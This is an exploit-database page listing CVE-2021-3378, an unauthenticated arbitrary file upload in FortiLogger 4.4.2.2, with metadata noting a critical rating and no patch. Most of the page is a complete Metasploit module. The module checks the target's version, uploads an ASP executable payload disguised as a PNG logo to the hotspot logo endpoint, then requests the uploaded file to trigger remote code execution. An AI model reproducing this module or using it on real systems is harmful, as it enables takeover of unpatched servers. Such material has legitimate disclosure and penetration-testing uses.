header-logo
Suggest Exploit
vendor:
FortiLogger
by:
Berkan Er
9.8
CVSS
CRITICAL
Arbitrary File Upload
434
CWE
Product Name: FortiLogger
Affected Version From: 4.4.2.2
Affected Version To: 4.4.2.2
Patch Exists: NO
Related CWE: CVE-2021-3378
CPE: a:fortinet:fortilogger
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows
2021

FortiLogger Arbitrary File Upload Exploit

This module exploits an unauthenticated arbitrary file upload via insecure POST request. It has been tested on version 4.4.2.2 in Windows 10 Enterprise.

Mitigation:

No known mitigation
Source

Exploit-DB raw data:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::EXE
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FortiLogger Arbitrary File Upload Exploit',
        'Description' => %q{
            This module exploits an unauthenticated arbitrary file upload
            via insecure POST request. It has been tested on version 4.4.2.2 in
            Windows 10 Enterprise.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Berkan Er <b3rsec@protonmail.com>' # Vulnerability discovery, PoC and Metasploit module
          ],
        'References' =>
          [
            ['CVE', '2021-3378'],
            ['URL', 'https://erberkan.github.io/2021/cve-2021-3378/']
          ],

        'Platform' => ['win'],
        'Privileged' => false,
        'Arch' => [ARCH_X86, ARCH_X64],
        'Targets' =>
          [
            [
              'FortiLogger - 4.4.2.2',
              {
                'Platform' => 'win'
              }
            ],
          ],
        'DisclosureDate' => '2021-02-26',
        'DefaultTarget' => 0
      )
    )

    register_options(
      [
        Opt::RPORT(5000),
        OptString.new('TARGETURI', [true, 'The base path to the FortiLogger', '/'])
      ], self.class
    )
  end

  def check_product_info
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/shared/GetProductInfo'),
      'method' => 'POST',
      'data' => '',
      'headers' => {
        'Accept' => 'application/json, text/javascript, */*; q=0.01',
        'Accept-Language' => 'en-US,en;q=0.5',
        'Accept-Encoding' => 'gzip, deflate',
        'X-Requested-With' => 'XMLHttpRequest'
      }
    )

    return res
  end

  def check
    begin
      res = check_product_info
      if res && res.code == 200
        if JSON.parse(res.body)['Version'] == '4.4.2.2'
          Exploit::CheckCode::Vulnerable
        else
          Exploit::CheckCode::Safe
        end
      end
    end
  end

  def create_payload
    Msf::Util::EXE.to_exe_asp(generate_payload_exe).to_s
  end

  def exploit
    begin
      print_good('Generate Payload !')
      data = create_payload

      boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(10) + 5)}"
      post_data = "--#{boundary}\r\n"
      post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"b3r.asp\"\r\n"
      post_data << "Content-Type: image/png\r\n"
      post_data << "\r\n#{data}\r\n"
      post_data << "--#{boundary}\r\n"

      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, '/Config/SaveUploadedHotspotLogoFile'),
        'ctype' => "multipart/form-data; boundary=#{boundary}",
        'data' => post_data,
        'headers' => {
          'Accept' => 'application/json',
          'Accept-Language' => 'en-US,en;q=0.5',
          'X-Requested-With' => 'XMLHttpRequest'
        }
      )
      if res && res.code == 200
        if JSON.parse(res.body)['Message'] == 'Error in saving file'
          print_error('Error for upload payload..')
        else
          print_good('Payload has been uploaded !')

          handler

          print_status('Executing payload...')
          send_request_cgi({
            'uri' => normalize_uri(target_uri.path, '/Assets/temp/hotspot/img/logohotspot.asp'),
            'method' => 'GET'
          }, 5)
        end
      end
    end
  end
end